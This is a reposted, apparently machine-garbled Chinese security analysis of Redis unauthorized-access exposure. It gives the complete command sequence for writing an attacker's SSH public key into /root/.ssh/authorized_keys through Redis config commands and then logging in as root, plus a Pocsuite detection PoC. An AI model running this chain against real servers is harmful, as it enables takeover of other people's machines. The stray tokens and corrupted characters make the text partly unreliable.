文章转自http://blog.csdn.net/whs_321/article/details/51734602html
http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/python
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。git
Redis 未受权访问的问题是一直存在的问题,知道创宇安全研究团队历史上也作过相关的应急,今日,又出现 Redis 未受权访问配合 SSH key 文件被利用的状况,致使一大批 Redis 服务器被黑,今天咱们来简要的分析下。github
Redis 默认状况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,若是在没有开启认证的状况下,能够致使任意用户在能够访问目标服务器的状况下未受权访问 Redis 以及读取 Redis 的数据。攻击者在未受权访问 Redis 的状况下能够利用 Redis 的相关方法,能够成功在 Redis 服务器上写入公钥,进而可使用对应私钥直接登陆目标服务器。redis
Redis 安全模型的观念是: “请不要将 Redis 暴露在公开网络中, 由于让不受信任的客户接触到 Redis 是很是危险的” 。数据库
Redis 做者之因此放弃解决未受权访问致使的不安全性是由于, 99.99% 使用 Redis 的场景都是在沙盒化的环境中, 为了0.01%的可能性增长安全规则的同时也增长了复杂性, 虽然这个问题的并非不能解决的, 可是这在他的设计哲学中还是不划算的。安全
由于其余受信任用户须要使用 Redis 或者由于运维人员的疏忽等缘由,部分 Redis 绑定在 0.0.0.0:6379,而且没有开启认证(这是Redis 的默认配置),若是没有进行采用相关的策略,好比添加防火墙规则避免其余非信任来源 ip 访问等,将会致使 Redis 服务直接暴露在公网上,致使其余用户能够直接在非受权状况下直接访问Redis服务并进行相关操做。服务器
利用 Redis 自身的提供的 config 命令,能够进行写文件操做,攻击者能够成功将本身的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而能够直接使用对应的私钥登陆目标服务器。网络
Redis 暴露在公网(即绑定在0.0.0.0:6379,目标IP公网可访问),而且没有开启相关认证和添加相关安全策略状况下可受影响而致使被利用。app
经过ZoomEye 的搜索结果显示,有97707在公网能够直接访问的Redis服务。
根据 ZoomEye 的探测,全球无验证可直接利用Redis 分布状况以下:
全球无验证可直接利用Redis TOP 10国家与地区:
首先在本地生产公私钥文件:
1
|
$ssh-keygen –t rsa
|
而后将公钥写入 foo.txt 文件
1
|
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
|
再链接 Redis 写入文件
1
2
3
4
5
6
7
8
9
10
11
|
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK
|
这样就能够成功的将本身的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,而后攻击者直接执行:
1
|
$ ssh –i id_rsa root@192.168.1.11
|
便可远程利用本身的私钥登陆该服务器。
固然,写入的目录不限于 /root/.ssh 下的authorized_keys,也能够写入用户目录,不过 Redis 不少以 root 权限运行,因此写入 root 目录下,能够跳过猜用户的步骤。
Redis 做为数据库,保存着各类各样的数据,若是存在未受权访问的状况,将会致使数据的泄露,其中包含保存的用户信息等。
Redis能够嵌套Lua脚本的特性将会致使代码执行, 危害同其余服务器端的代码执行, 样例以下 一旦攻击者可以在服务器端执行任意代码, 攻击方式将会变得多且复杂, 这是很是危险的.
经过Lua代码攻击者能够调用 redis.sha1hex() 函数,恶意利用 Redis 服务器进行 SHA-1 的破解。
经过 Redis 的 INFO 命令, 能够查看服务器相关的参数和敏感信息, 为攻击者的后续渗透作铺垫。
能够看到泄露了不少 Redis 服务器的信息, 有当前 Redis 版本, 内存运行状态, 服务端个数等等敏感信息。
可使用Pocsuite(http://github.com/knownsec/pocsuite)执行如下的代码能够用于测试目标地址是否存在未受权的Redis服务。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
|
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import socket
import urlparse
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
class TestPOC(POCBase):
vulID = '89339'
version = '1'
author = ['Anonymous']
vulDate = '2015-10-26'
createDate = '2015-10-26'
updateDate = '2015-10-26'
references = ['http://sebug.net/vuldb/ssvid-89339']
name = 'Redis 未受权访问 PoC'
appPowerLink = 'http://redis.io/'
appName = 'Redis'
appVersion = 'All'
vulType = 'Unauthorized access'
desc = '''
redis 默认不须要密码便可访问,黑客直接访问便可获取数据库中全部信息,形成严重的信息泄露。
'''
samples = ['']
def _verify(self):
result = {}
payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'
s = socket.socket()
socket.setdefaulttimeout(10)
try:
host = urlparse.urlparse(self.url).netloc
port = 6379
s.connect((host, port))
s.send(payload)
recvdata = s.recv(1024)
if recvdata and 'redis_version' in recvdata:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['Port'] = port
except:
pass
s.close()
return self.parse_attack(result)
def _attack(self):
return self._verify()
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output
register(TestPOC)
|